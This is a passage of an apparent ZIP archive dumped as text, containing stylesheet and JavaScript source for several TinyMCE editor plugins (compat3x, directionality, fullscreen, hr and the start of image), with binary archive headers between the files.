0 8px; } textarea {resize:none;outline:none;} a:link, a:hover { color: #2B6FB6; } a:visited { color: #3C2BB6; } .nowrap {white-space: nowrap} /* Forms */ form {margin: 0;} fieldset {margin:0; padding:4px; border:1px solid #dfdfdf; font-family:Verdana, Arial; font-size:10px;} legend {color:#2B6FB6; font-weight:bold;} label.msg {display:none;} label.invalid {color:#EE0000; display:inline;} input.invalid {border:1px solid #EE0000;} input {background:#FFF; border:1px solid #dfdfdf;} input, select, textarea {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} input, select, textarea {border:1px solid #dfdfdf;} input.radio {border:1px none #000000; background:transparent; vertical-align:middle;} input.checkbox {border:1px none #000000; background:transparent; vertical-align:middle;} .input_noborder {border:0;} /* Buttons */ #insert, #cancel, #apply, .mceActionPanel .button, input.mceButton, .updateButton { display: inline-block; text-decoration: none; border: 1px solid #adadad; margin: 0; padding: 0 10px 1px; font-size: 13px; height: 24px; line-height: 22px; color: #333; cursor: pointer; -webkit-border-radius: 3px; -webkit-appearance: none; border-radius: 3px; white-space: nowrap; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; background: #fafafa; background-image: -webkit-gradient(linear, left top, left bottom, from(#fafafa), to(#e9e9e9)); background-image: -webkit-linear-gradient(top, #fafafa, #e9e9e9); background-image: -moz-linear-gradient(top, #fafafa, #e9e9e9); background-image: -o-linear-gradient(top, #fafafa, #e9e9e9); background-image: linear-gradient(to bottom, #fafafa, #e9e9e9); text-shadow: 0 1px 0 #fff; -webkit-box-shadow: inset 0 1px 0 #fff; -moz-box-shadow: inset 0 1px 0 #fff; box-shadow: inset 0 1px 0 #fff; } #insert { background: #2ea2cc; background: -webkit-gradient(linear, left top, left bottom, from(#2ea2cc), to(#1e8cbe)); background: -webkit-linear-gradient(top, #2ea2cc 0%,#1e8cbe 100%); background: linear-gradient(top, #2ea2cc 0%,#1e8cbe 100%); filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#2ea2cc', endColorstr='#1e8cbe',GradientType=0 ); border-color: #0074a2; -webkit-box-shadow: inset 0 1px 0 rgba(120,200,230,0.5); box-shadow: inset 0 1px 0 rgba(120,200,230,0.5); color: #fff; text-decoration: none; text-shadow: 0 1px 0 rgba(0,86,132,0.7); } #cancel:hover, input.mceButton:hover, .updateButton:hover, #cancel:focus, input.mceButton:focus, .updateButton:focus { background: #f3f3f3; background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#f3f3f3)); background-image: -webkit-linear-gradient(top, #fff, #f3f3f3); background-image: -moz-linear-gradient(top, #fff, #f3f3f3); background-image: -ms-linear-gradient(top, #fff, #f3f3f3); background-image: -o-linear-gradient(top, #fff, #f3f3f3); background-image: linear-gradient(to bottom, #fff, #f3f3f3); border-color: #999; color: #222; } #insert:hover, #insert:focus { background: #1e8cbe; background: -webkit-gradient(linear, left top, left bottom, from(#1e8cbe), to(#0074a2)); background: -webkit-linear-gradient(top, #1e8cbe 0%,#0074a2 100%); background: linear-gradient(top, #1e8cbe 0%,#0074a2 100%); filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#1e8cbe', endColorstr='#0074a2',GradientType=0 ); border-color: #0074a2; -webkit-box-shadow: inset 0 1px 0 rgba(120,200,230,0.6); box-shadow: inset 0 1px 0 rgba(120,200,230,0.6); color: #fff; } .mceActionPanel #insert { float: right; } /* Browse */ a.pickcolor, a.browse {text-decoration:none} a.browse span {display:block; width:20px; height:18px; border:1px solid #FFF; margin-left:1px;} .mceOldBoxModel a.browse span {width:22px; height:20px;} a.browse:hover span {border:1px solid #0A246A; background-color:#B2BBD0;} a.browse span.disabled {border:1px solid white; opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30);} a.browse:hover span.disabled {border:1px solid white; background-color:transparent;} a.pickcolor span {display:block; width:20px; height:16px; margin-left:2px;} .mceOldBoxModel a.pickcolor span {width:21px; height:17px;} a.pickcolor:hover span {background-color:#B2BBD0;} div.iframecontainer {background: #fff;} /* Charmap */ table.charmap {border:1px solid #AAA; text-align:center} td.charmap, #charmap a {width:18px; height:18px; color:#000; border:1px solid #AAA; text-align:center; font-size:12px; vertical-align:middle; line-height: 18px;} #charmap a {display:block; color:#000; text-decoration:none; border:0} #charmap a:hover {background:#CCC;color:#2B6FB6} #charmap #codeN {font-size:10px; font-family:Arial,Helvetica,sans-serif; text-align:center} #charmap #codeV {font-size:40px; height:80px; border:1px solid #AAA; text-align:center} #charmap #charmapView {background-color:#fff;} /* Source */ .wordWrapCode {vertical-align:middle; border:1px none #000000; background:transparent;} .mceActionPanel {margin-top:5px;} /* Tabs classes */ .tabs {width:100%; height:19px; line-height:normal; border-bottom: 1px solid #aaa;} .tabs ul {margin:0; padding:0; list-style:none;} .tabs li {float:left; border: 1px solid #aaa; margin:0 2px 0 0; padding:0 0 0 10px; line-height:17px; height:18px; display:block;} .tabs li.current {border-bottom: 1px solid #fff; margin-right:2px;} .tabs span {float:left; display:block; padding:0px 10px 0 0;} .tabs a {text-decoration:none; font-family:Verdana, Arial; font-size:10px;} .tabs a:link, .tabs a:visited, .tabs a:hover {color:black;} .wp-core-ui #tabs { padding-bottom: 5px; background-color: transparent; } .wp-core-ui #tabs a { padding: 6px 10px; margin: 0 2px; } /* Panels */ .panel_wrapper div.panel {display:none;} .panel_wrapper div.current {display:block; width:100%; height:300px; overflow:visible;} .panel_wrapper {border:1px solid #919B9C; border-top:0px; padding:10px; padding-top:5px; clear:both; background:white;} /* Columns */ .column {float:left;} .properties {width:100%;} .properties .column1 {} .properties .column2 {text-align:left;} /* Titles */ h1, h2, h3, h4 {color:#2B6FB6; margin:0; padding:0; padding-top:5px;} h3 {font-size:14px;} .title {font-size:12px; font-weight:bold; color:#2B6FB6;} /* Dialog specific */ #link .panel_wrapper, #link div.current {height:125px;} #image .panel_wrapper, #image div.current {height:200px;} #plugintable thead {font-weight:bold; background:#DDD;} #plugintable, #about #plugintable td {border:1px solid #919B9C;} #plugintable {width:96%; margin-top:10px;} #pluginscontainer {height:290px; overflow:auto;} #colorpicker #preview {display:inline-block; padding-left:40px; height:14px; border:1px solid black; margin-left:5px; margin-right: 5px} #colorpicker #previewblock {position: relative; top: -3px; padding-left:5px; padding-top: 0px; display:inline} #colorpicker #preview_wrapper {text-align:center; padding-top:4px; white-space: nowrap; float: right;} #colorpicker #insert, #colorpicker #cancel {width: 90px} #colorpicker #colors {float:left; border:1px solid gray; cursor:crosshair;} #colorpicker #light {border:1px solid gray; margin-left:5px; float:left;width:15px; height:150px; cursor:crosshair;} #colorpicker #light div {overflow:hidden;} #colorpicker .panel_wrapper div.current {height:175px;} #colorpicker #namedcolors {width:150px;} #colorpicker #namedcolors a {display:block; float:left; width:10px; height:10px; margin:1px 1px 0 0; overflow:hidden;} #colorpicker #colornamecontainer {margin-top:5px;} #colorpicker #picker_panel fieldset {margin:auto;width:325px;} /* Localization */ body[dir="rtl"], body[dir="rtl"] fieldset, body[dir="rtl"] input, body[dir="rtl"] select, body[dir="rtl"] textarea, body[dir="rtl"] #charmap #codeN, body[dir="rtl"] .tabs a { font-family: Tahoma, sans-serif; } PKà´–[M‡Âê$ê$compat3x/plugin.jsnu„[µü¤/** * plugin.js * * Released under LGPL License. * Copyright (c) 1999-2017 Ephox Corp. All rights reserved * * License: http://www.tinymce.com/license * Contributing: http://www.tinymce.com/contributing */ /*global tinymce:true, console:true */ /*eslint no-console:0, new-cap:0 */ /** * This plugin adds missing events form the 4.x API back. Not every event is * properly supported but most things should work. * * Unsupported things: * - No editor.onEvent * - Can't cancel execCommands with beforeExecCommand */ (function (tinymce) { var reported; function noop() { } function log(apiCall) { if (!reported && window && window.console) { reported = true; console.log("Deprecated TinyMCE API call: " + apiCall); } } function Dispatcher(target, newEventName, argsMap, defaultScope) { target = target || this; var cbs = []; if (!newEventName) { this.add = this.addToTop = this.remove = this.dispatch = noop; return; } this.add = function (callback, scope, prepend) { log('.on' + newEventName + ".add(..)"); // Convert callback({arg1:x, arg2:x}) -> callback(arg1, arg2) function patchedEventCallback(e) { var callbackArgs = []; if (typeof argsMap == "string") { argsMap = argsMap.split(" "); } if (argsMap && typeof argsMap !== "function") { for (var i = 0; i < argsMap.length; i++) { callbackArgs.push(e[argsMap[i]]); } } if (typeof argsMap == "function") { callbackArgs = argsMap(newEventName, e, target); if (!callbackArgs) { return; } } if (!argsMap) { callbackArgs = [e]; } callbackArgs.unshift(defaultScope || target); if (callback.apply(scope || defaultScope || target, callbackArgs) === false) { e.stopImmediatePropagation(); } } target.on(newEventName, patchedEventCallback, prepend); var handlers = { original: callback, patched: patchedEventCallback }; cbs.push(handlers); return patchedEventCallback; }; this.addToTop = function (callback, scope) { this.add(callback, scope, true); }; this.remove = function (callback) { cbs.forEach(function (item, i) { if (item.original === callback) { cbs.splice(i, 1); return target.off(newEventName, item.patched); } }); return target.off(newEventName, callback); }; this.dispatch = function () { target.fire(newEventName); return true; }; } tinymce.util.Dispatcher = Dispatcher; tinymce.onBeforeUnload = new Dispatcher(tinymce, "BeforeUnload"); tinymce.onAddEditor = new Dispatcher(tinymce, "AddEditor", "editor"); tinymce.onRemoveEditor = new Dispatcher(tinymce, "RemoveEditor", "editor"); tinymce.util.Cookie = { get: noop, getHash: noop, remove: noop, set: noop, setHash: noop }; function patchEditor(editor) { function translate(str) { var prefix = editor.settings.language || "en"; var prefixedStr = [prefix, str].join('.'); var translatedStr = tinymce.i18n.translate(prefixedStr); return prefixedStr !== translatedStr ? translatedStr : tinymce.i18n.translate(str); } function patchEditorEvents(oldEventNames, argsMap) { tinymce.each(oldEventNames.split(" "), function (oldName) { editor["on" + oldName] = new Dispatcher(editor, oldName, argsMap); }); } function convertUndoEventArgs(type, event, target) { return [ event.level, target ]; } function filterSelectionEvents(needsSelection) { return function (type, e) { if ((!e.selection && !needsSelection) || e.selection == needsSelection) { return [e]; } }; } if (editor.controlManager) { return; } function cmNoop() { var obj = {}, methods = 'add addMenu addSeparator collapse createMenu destroy displayColor expand focus ' + 'getLength hasMenus hideMenu isActive isCollapsed isDisabled isRendered isSelected mark ' + 'postRender remove removeAll renderHTML renderMenu renderNode renderTo select selectByIndex ' + 'setActive setAriaProperty setColor setDisabled setSelected setState showMenu update'; log('editor.controlManager.*'); function _noop() { return cmNoop(); } tinymce.each(methods.split(' '), function (method) { obj[method] = _noop; }); return obj; } editor.controlManager = { buttons: {}, setDisabled: function (name, state) { log("controlManager.setDisabled(..)"); if (this.buttons[name]) { this.buttons[name].disabled(state); } }, setActive: function (name, state) { log("controlManager.setActive(..)"); if (this.buttons[name]) { this.buttons[name].active(state); } }, onAdd: new Dispatcher(), onPostRender: new Dispatcher(), add: function (obj) { return obj; }, createButton: cmNoop, createColorSplitButton: cmNoop, createControl: cmNoop, createDropMenu: cmNoop, createListBox: cmNoop, createMenuButton: cmNoop, createSeparator: cmNoop, createSplitButton: cmNoop, createToolbar: cmNoop, createToolbarGroup: cmNoop, destroy: noop, get: noop, setControlType: cmNoop }; patchEditorEvents("PreInit BeforeRenderUI PostRender Load Init Remove Activate Deactivate", "editor"); patchEditorEvents("Click MouseUp MouseDown DblClick KeyDown KeyUp KeyPress ContextMenu Paste Submit Reset"); patchEditorEvents("BeforeExecCommand ExecCommand", "command ui value args"); // args.terminate not supported patchEditorEvents("PreProcess PostProcess LoadContent SaveContent Change"); patchEditorEvents("BeforeSetContent BeforeGetContent SetContent GetContent", filterSelectionEvents(false)); patchEditorEvents("SetProgressState", "state time"); patchEditorEvents("VisualAid", "element hasVisual"); patchEditorEvents("Undo Redo", convertUndoEventArgs); patchEditorEvents("NodeChange", function (type, e) { return [ editor.controlManager, e.element, editor.selection.isCollapsed(), e ]; }); var originalAddButton = editor.addButton; editor.addButton = function (name, settings) { var originalOnPostRender; function patchedPostRender() { editor.controlManager.buttons[name] = this; if (originalOnPostRender) { return originalOnPostRender.apply(this, arguments); } } for (var key in settings) { if (key.toLowerCase() === "onpostrender") { originalOnPostRender = settings[key]; settings.onPostRender = patchedPostRender; } } if (!originalOnPostRender) { settings.onPostRender = patchedPostRender; } if (settings.title) { settings.title = translate(settings.title); } return originalAddButton.call(this, name, settings); }; editor.on('init', function () { var undoManager = editor.undoManager, selection = editor.selection; undoManager.onUndo = new Dispatcher(editor, "Undo", convertUndoEventArgs, null, undoManager); undoManager.onRedo = new Dispatcher(editor, "Redo", convertUndoEventArgs, null, undoManager); undoManager.onBeforeAdd = new Dispatcher(editor, "BeforeAddUndo", null, undoManager); undoManager.onAdd = new Dispatcher(editor, "AddUndo", null, undoManager); selection.onBeforeGetContent = new Dispatcher(editor, "BeforeGetContent", filterSelectionEvents(true), selection); selection.onGetContent = new Dispatcher(editor, "GetContent", filterSelectionEvents(true), selection); selection.onBeforeSetContent = new Dispatcher(editor, "BeforeSetContent", filterSelectionEvents(true), selection); selection.onSetContent = new Dispatcher(editor, "SetContent", filterSelectionEvents(true), selection); }); editor.on('BeforeRenderUI', function () { var windowManager = editor.windowManager; windowManager.onOpen = new Dispatcher(); windowManager.onClose = new Dispatcher(); windowManager.createInstance = function (className, a, b, c, d, e) { log("windowManager.createInstance(..)"); var constr = tinymce.resolve(className); return new constr(a, b, c, d, e); }; }); } tinymce.on('SetupEditor', function (e) { patchEditor(e.editor); }); tinymce.PluginManager.add("compat3x", patchEditor); tinymce.addI18n = function (prefix, o) { var I18n = tinymce.util.I18n, each = tinymce.each; if (typeof prefix == "string" && prefix.indexOf('.') === -1) { I18n.add(prefix, o); return; } if (!tinymce.is(prefix, 'string')) { each(prefix, function (o, lc) { each(o, function (o, g) { each(o, function (o, k) { if (g === 'common') { I18n.data[lc + '.' + k] = o; } else { I18n.data[lc + '.' + g + '.' + k] = o; } }); }); }); } else { each(o, function (o, k) { I18n.data[prefix + '.' + k] = o; }); } }; })(tinymce); PKà´–[¹ÑÕC!!compat3x/plugin.min.jsnu„[µü¤!function(u){var t;function l(){}function f(e){!t&&window&&window.console&&(t=!0,console.log("Deprecated TinyMCE API call: "+e))}function i(i,a,d,s){i=i||this;var c=[];a?(this.add=function(o,r,e){function t(e){var t=[];if("string"==typeof d&&(d=d.split(" ")),d&&"function"!=typeof d)for(var n=0;n.on"+a+".add(..)"),i.on(a,t,e);var n={original:o,patched:t};return c.push(n),t},this.addToTop=function(e,t){this.add(e,t,!0)},this.remove=function(n){return c.forEach(function(e,t){if(e.original===n)return c.splice(t,1),i.off(a,e.patched)}),i.off(a,n)},this.dispatch=function(){return i.fire(a),!0}):this.add=this.addToTop=this.remove=this.dispatch=l}function n(s){function e(e,t){u.each(e.split(" "),function(e){s["on"+e]=new i(s,e,t)})}function n(e,t,n){return[t.level,n]}function o(n){return function(e,t){if(!t.selection&&!n||t.selection==n)return[t]}}if(!s.controlManager){s.controlManager={buttons:{},setDisabled:function(e,t){f("controlManager.setDisabled(..)"),this.buttons[e]&&this.buttons[e].disabled(t)},setActive:function(e,t){f("controlManager.setActive(..)"),this.buttons[e]&&this.buttons[e].active(t)},onAdd:new i,onPostRender:new i,add:function(e){return e},createButton:r,createColorSplitButton:r,createControl:r,createDropMenu:r,createListBox:r,createMenuButton:r,createSeparator:r,createSplitButton:r,createToolbar:r,createToolbarGroup:r,destroy:l,get:l,setControlType:r},e("PreInit BeforeRenderUI PostRender Load Init Remove Activate Deactivate","editor"),e("Click MouseUp MouseDown DblClick KeyDown KeyUp KeyPress ContextMenu Paste Submit Reset"),e("BeforeExecCommand ExecCommand","command ui value args"),e("PreProcess PostProcess LoadContent SaveContent Change"),e("BeforeSetContent BeforeGetContent SetContent GetContent",o(!1)),e("SetProgressState","state time"),e("VisualAid","element hasVisual"),e("Undo Redo",n),e("NodeChange",function(e,t){return[s.controlManager,t.element,s.selection.isCollapsed(),t]});var c=s.addButton;s.addButton=function(e,t){var n,o,r,i;function a(){if(s.controlManager.buttons[e]=this,n)return n.apply(this,arguments)}for(var d in t)"onpostrender"===d.toLowerCase()&&(n=t[d],t.onPostRender=a);return n||(t.onPostRender=a),t.title&&(t.title=(o=t.title,r=[s.settings.language||"en",o].join("."),i=u.i18n.translate(r),r!==i?i:u.i18n.translate(o))),c.call(this,e,t)},s.on("init",function(){var e=s.undoManager,t=s.selection;e.onUndo=new i(s,"Undo",n,null,e),e.onRedo=new i(s,"Redo",n,null,e),e.onBeforeAdd=new i(s,"BeforeAddUndo",null,e),e.onAdd=new i(s,"AddUndo",null,e),t.onBeforeGetContent=new i(s,"BeforeGetContent",o(!0),t),t.onGetContent=new i(s,"GetContent",o(!0),t),t.onBeforeSetContent=new i(s,"BeforeSetContent",o(!0),t),t.onSetContent=new i(s,"SetContent",o(!0),t)}),s.on("BeforeRenderUI",function(){var e=s.windowManager;e.onOpen=new i,e.onClose=new i,e.createInstance=function(e,t,n,o,r,i){return f("windowManager.createInstance(..)"),new(u.resolve(e))(t,n,o,r,i)}})}function r(){var t={};function n(){return r()}return f("editor.controlManager.*"),u.each("add addMenu addSeparator collapse createMenu destroy displayColor expand focus getLength hasMenus hideMenu isActive isCollapsed isDisabled isRendered isSelected mark postRender remove removeAll renderHTML renderMenu renderNode renderTo select selectByIndex setActive setAriaProperty setColor setDisabled setSelected setState showMenu update".split(" "),function(e){t[e]=n}),t}}u.util.Dispatcher=i,u.onBeforeUnload=new i(u,"BeforeUnload"),u.onAddEditor=new i(u,"AddEditor","editor"),u.onRemoveEditor=new i(u,"RemoveEditor","editor"),u.util.Cookie={get:l,getHash:l,remove:l,set:l,setHash:l},u.on("SetupEditor",function(e){n(e.editor)}),u.PluginManager.add("compat3x",n),u.addI18n=function(n,e){var r=u.util.I18n,t=u.each;"string"!=typeof n||-1!==n.indexOf(".")?u.is(n,"string")?t(e,function(e,t){r.data[n+"."+t]=e}):t(n,function(e,o){t(e,function(e,n){t(e,function(e,t){"common"===n?r.data[o+"."+t]=e:r.data[o+"."+n+"."+t]=e})})}):r.add(n,e)}}(tinymce);PKà´–[8Hðdddirectionality/plugin.jsnu„[µü¤(function () { var directionality = (function () { 'use strict'; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var global$1 = tinymce.util.Tools.resolve('tinymce.util.Tools'); var setDir = function (editor, dir) { var dom = editor.dom; var curDir; var blocks = editor.selection.getSelectedBlocks(); if (blocks.length) { curDir = dom.getAttrib(blocks[0], 'dir'); global$1.each(blocks, function (block) { if (!dom.getParent(block.parentNode, '*[dir="' + dir + '"]', dom.getRoot())) { dom.setAttrib(block, 'dir', curDir !== dir ? dir : null); } }); editor.nodeChanged(); } }; var Direction = { setDir: setDir }; var register = function (editor) { editor.addCommand('mceDirectionLTR', function () { Direction.setDir(editor, 'ltr'); }); editor.addCommand('mceDirectionRTL', function () { Direction.setDir(editor, 'rtl'); }); }; var Commands = { register: register }; var generateSelector = function (dir) { var selector = []; global$1.each('h1 h2 h3 h4 h5 h6 div p'.split(' '), function (name) { selector.push(name + '[dir=' + dir + ']'); }); return selector.join(','); }; var register$1 = function (editor) { editor.addButton('ltr', { title: 'Left to right', cmd: 'mceDirectionLTR', stateSelector: generateSelector('ltr') }); editor.addButton('rtl', { title: 'Right to left', cmd: 'mceDirectionRTL', stateSelector: generateSelector('rtl') }); }; var Buttons = { register: register$1 }; global.add('directionality', function (editor) { Commands.register(editor); Buttons.register(editor); }); function Plugin () { } return Plugin; }()); })(); PKà´–[•¹YYdirectionality/plugin.min.jsnu„[µü¤!function(){"use strict";var t=tinymce.util.Tools.resolve("tinymce.PluginManager"),c=tinymce.util.Tools.resolve("tinymce.util.Tools"),e=function(t,e){var i,n=t.dom,o=t.selection.getSelectedBlocks();o.length&&(i=n.getAttrib(o[0],"dir"),c.each(o,function(t){n.getParent(t.parentNode,'*[dir="'+e+'"]',n.getRoot())||n.setAttrib(t,"dir",i!==e?e:null)}),t.nodeChanged())},i=function(t){t.addCommand("mceDirectionLTR",function(){e(t,"ltr")}),t.addCommand("mceDirectionRTL",function(){e(t,"rtl")})},n=function(e){var i=[];return c.each("h1 h2 h3 h4 h5 h6 div p".split(" "),function(t){i.push(t+"[dir="+e+"]")}),i.join(",")},o=function(t){t.addButton("ltr",{title:"Left to right",cmd:"mceDirectionLTR",stateSelector:n("ltr")}),t.addButton("rtl",{title:"Right to left",cmd:"mceDirectionRTL",stateSelector:n("rtl")})};t.add("directionality",function(t){i(t),o(t)})}();PKà´–[Ç¢ÛÛfullscreen/plugin.jsnu„[µü¤(function () { var fullscreen = (function (domGlobals) { 'use strict'; var Cell = function (initial) { var value = initial; var get = function () { return value; }; var set = function (v) { value = v; }; var clone = function () { return Cell(get()); }; return { get: get, set: set, clone: clone }; }; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var get = function (fullscreenState) { return { isFullscreen: function () { return fullscreenState.get() !== null; } }; }; var Api = { get: get }; var global$1 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils'); var fireFullscreenStateChanged = function (editor, state) { editor.fire('FullscreenStateChanged', { state: state }); }; var Events = { fireFullscreenStateChanged: fireFullscreenStateChanged }; var DOM = global$1.DOM; var getWindowSize = function () { var w; var h; var win = domGlobals.window; var doc = domGlobals.document; var body = doc.body; if (body.offsetWidth) { w = body.offsetWidth; h = body.offsetHeight; } if (win.innerWidth && win.innerHeight) { w = win.innerWidth; h = win.innerHeight; } return { w: w, h: h }; }; var getScrollPos = function () { var vp = DOM.getViewPort(); return { x: vp.x, y: vp.y }; }; var setScrollPos = function (pos) { domGlobals.window.scrollTo(pos.x, pos.y); }; var toggleFullscreen = function (editor, fullscreenState) { var body = domGlobals.document.body; var documentElement = domGlobals.document.documentElement; var editorContainerStyle; var editorContainer, iframe, iframeStyle; var fullscreenInfo = fullscreenState.get(); var resize = function () { DOM.setStyle(iframe, 'height', getWindowSize().h - (editorContainer.clientHeight - iframe.clientHeight)); }; var removeResize = function () { DOM.unbind(domGlobals.window, 'resize', resize); }; editorContainer = editor.getContainer(); editorContainerStyle = editorContainer.style; iframe = editor.getContentAreaContainer().firstChild; iframeStyle = iframe.style; if (!fullscreenInfo) { var newFullScreenInfo = { scrollPos: getScrollPos(), containerWidth: editorContainerStyle.width, containerHeight: editorContainerStyle.height, iframeWidth: iframeStyle.width, iframeHeight: iframeStyle.height, resizeHandler: resize, removeHandler: removeResize }; iframeStyle.width = iframeStyle.height = '100%'; editorContainerStyle.width = editorContainerStyle.height = ''; DOM.addClass(body, 'mce-fullscreen'); DOM.addClass(documentElement, 'mce-fullscreen'); DOM.addClass(editorContainer, 'mce-fullscreen'); DOM.bind(domGlobals.window, 'resize', resize); editor.on('remove', removeResize); resize(); fullscreenState.set(newFullScreenInfo); Events.fireFullscreenStateChanged(editor, true); } else { iframeStyle.width = fullscreenInfo.iframeWidth; iframeStyle.height = fullscreenInfo.iframeHeight; if (fullscreenInfo.containerWidth) { editorContainerStyle.width = fullscreenInfo.containerWidth; } if (fullscreenInfo.containerHeight) { editorContainerStyle.height = fullscreenInfo.containerHeight; } DOM.removeClass(body, 'mce-fullscreen'); DOM.removeClass(documentElement, 'mce-fullscreen'); DOM.removeClass(editorContainer, 'mce-fullscreen'); setScrollPos(fullscreenInfo.scrollPos); DOM.unbind(domGlobals.window, 'resize', fullscreenInfo.resizeHandler); editor.off('remove', fullscreenInfo.removeHandler); fullscreenState.set(null); Events.fireFullscreenStateChanged(editor, false); } }; var Actions = { toggleFullscreen: toggleFullscreen }; var register = function (editor, fullscreenState) { editor.addCommand('mceFullScreen', function () { Actions.toggleFullscreen(editor, fullscreenState); }); }; var Commands = { register: register }; var postRender = function (editor) { return function (e) { var ctrl = e.control; editor.on('FullscreenStateChanged', function (e) { ctrl.active(e.state); }); }; }; var register$1 = function (editor) { editor.addMenuItem('fullscreen', { text: 'Fullscreen', shortcut: 'Ctrl+Shift+F', selectable: true, cmd: 'mceFullScreen', onPostRender: postRender(editor), context: 'view' }); editor.addButton('fullscreen', { active: false, tooltip: 'Fullscreen', cmd: 'mceFullScreen', onPostRender: postRender(editor) }); }; var Buttons = { register: register$1 }; global.add('fullscreen', function (editor) { var fullscreenState = Cell(null); if (editor.settings.inline) { return Api.get(fullscreenState); } Commands.register(editor, fullscreenState); Buttons.register(editor); editor.addShortcut('Ctrl+Shift+F', '', 'mceFullScreen'); return Api.get(fullscreenState); }); function Plugin () { } return Plugin; }(window)); })(); PKà´–[¦êFˆˆfullscreen/plugin.min.jsnu„[µü¤!function(m){"use strict";var i=function(e){var n=e,t=function(){return n};return{get:t,set:function(e){n=e},clone:function(){return i(t())}}},e=tinymce.util.Tools.resolve("tinymce.PluginManager"),t=function(e){return{isFullscreen:function(){return null!==e.get()}}},n=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),g=function(e,n){e.fire("FullscreenStateChanged",{state:n})},w=n.DOM,r=function(e,n){var t,r,l,i,o,c,s=m.document.body,u=m.document.documentElement,d=n.get(),a=function(){var e,n,t,i;w.setStyle(l,"height",(t=m.window,i=m.document.body,i.offsetWidth&&(e=i.offsetWidth,n=i.offsetHeight),t.innerWidth&&t.innerHeight&&(e=t.innerWidth,n=t.innerHeight),{w:e,h:n}).h-(r.clientHeight-l.clientHeight))},h=function(){w.unbind(m.window,"resize",a)};if(t=(r=e.getContainer()).style,i=(l=e.getContentAreaContainer().firstChild).style,d)i.width=d.iframeWidth,i.height=d.iframeHeight,d.containerWidth&&(t.width=d.containerWidth),d.containerHeight&&(t.height=d.containerHeight),w.removeClass(s,"mce-fullscreen"),w.removeClass(u,"mce-fullscreen"),w.removeClass(r,"mce-fullscreen"),o=d.scrollPos,m.window.scrollTo(o.x,o.y),w.unbind(m.window,"resize",d.resizeHandler),e.off("remove",d.removeHandler),n.set(null),g(e,!1);else{var f={scrollPos:(c=w.getViewPort(),{x:c.x,y:c.y}),containerWidth:t.width,containerHeight:t.height,iframeWidth:i.width,iframeHeight:i.height,resizeHandler:a,removeHandler:h};i.width=i.height="100%",t.width=t.height="",w.addClass(s,"mce-fullscreen"),w.addClass(u,"mce-fullscreen"),w.addClass(r,"mce-fullscreen"),w.bind(m.window,"resize",a),e.on("remove",h),a(),n.set(f),g(e,!0)}},l=function(e,n){e.addCommand("mceFullScreen",function(){r(e,n)})},o=function(t){return function(e){var n=e.control;t.on("FullscreenStateChanged",function(e){n.active(e.state)})}},c=function(e){e.addMenuItem("fullscreen",{text:"Fullscreen",shortcut:"Ctrl+Shift+F",selectable:!0,cmd:"mceFullScreen",onPostRender:o(e),context:"view"}),e.addButton("fullscreen",{active:!1,tooltip:"Fullscreen",cmd:"mceFullScreen",onPostRender:o(e)})};e.add("fullscreen",function(e){var n=i(null);return e.settings.inline||(l(e,n),c(e),e.addShortcut("Ctrl+Shift+F","","mceFullScreen")),t(n)})}(window);PKà´–[?#Z~—— hr/plugin.jsnu„[µü¤(function () { var hr = (function () { 'use strict'; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var register = function (editor) { editor.addCommand('InsertHorizontalRule', function () { editor.execCommand('mceInsertContent', false, '


'); }); }; var Commands = { register: register }; var register$1 = function (editor) { editor.addButton('hr', { icon: 'hr', tooltip: 'Horizontal line', cmd: 'InsertHorizontalRule' }); editor.addMenuItem('hr', { icon: 'hr', text: 'Horizontal line', cmd: 'InsertHorizontalRule', context: 'insert' }); }; var Buttons = { register: register$1 }; global.add('hr', function (editor) { Commands.register(editor); Buttons.register(editor); }); function Plugin () { } return Plugin; }()); })(); PKá´–[ S¬¬hr/plugin.min.jsnu„[µü¤!function(){"use strict";var n=tinymce.util.Tools.resolve("tinymce.PluginManager"),t=function(n){n.addCommand("InsertHorizontalRule",function(){n.execCommand("mceInsertContent",!1,"
")})},o=function(n){n.addButton("hr",{icon:"hr",tooltip:"Horizontal line",cmd:"InsertHorizontalRule"}),n.addMenuItem("hr",{icon:"hr",text:"Horizontal line",cmd:"InsertHorizontalRule",context:"insert"})};n.add("hr",function(n){t(n),o(n)})}();PKá´–[[­ñ#VœVœimage/plugin.jsnu„[µü¤(function () { var image = (function (domGlobals) { 'use strict'; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var hasDimensions = function (editor) { return editor.settings.image_dimensions === false ? false : true; }; var hasAdvTab = function (editor) { return editor.settings.image_advtab === true ? true : false; }; var getPrependUrl = function (editor) { return editor.getParam('image_prepend_url', ''); }; var getClassList = function (editor) { return editor.getParam('image_class_list'); }; var hasDescription = function (editor) { return editor.settings.image_description === false ? false : true; }; var hasImageTitle = function (editor) { return editor.settings.image_title === true ? true : false; }; var hasImageCaption = function (editor) { return editor.settings.image_caption === true ? true : false; }; var getImageList = function (editor) { return editor.getParam('image_list', false); }; var hasUploadUrl = function (editor) { return editor.getParam('images_upload_url', false); }; var hasUploadHandler = function (editor) { return editor.getParam('images_upload_handler', false); }; var getUploadUrl = function (editor) { return editor.getParam('images_upload_url'); }; var getUploadHandler = function (editor) { return editor.getParam('images_upload_handler'); }; var getUploadBasePath = function (editor) { return editor.getParam('images_upload_base_path'); }; var getUploadCredentials = function (editor) { return editor.getParam('images_upload_credentials'); }; var Settings = { hasDimensions: hasDimensions, hasAdvTab: hasAdvTab, getPrependUrl: getPrependUrl, getClassList: getClassList, hasDescription: hasDescription, hasImageTitle: hasImageTitle, hasImageCaption: hasImageCaption, getImageList: getImageList, hasUploadUrl: hasUploadUrl, hasUploadHandler: hasUploadHandler, getUploadUrl: getUploadUrl, getUploadHandler: getUploadHandler, getUploadBasePath: getUploadBasePath, getUploadCredentials: getUploadCredentials }; var Global = typeof domGlobals.window !== 'undefined' ? domGlobals.window : Function('return this;')(); var path = function (parts, scope) { var o = scope !== undefined && scope !== null ? scope : Global; for (var i = 0; i < parts.length && o !== undefined && o !== null; ++i) { o = o[parts[i]]; } return o; }; var resolve = function (p, scope) { var parts = p.split('.'); return path(parts, scope); }; var 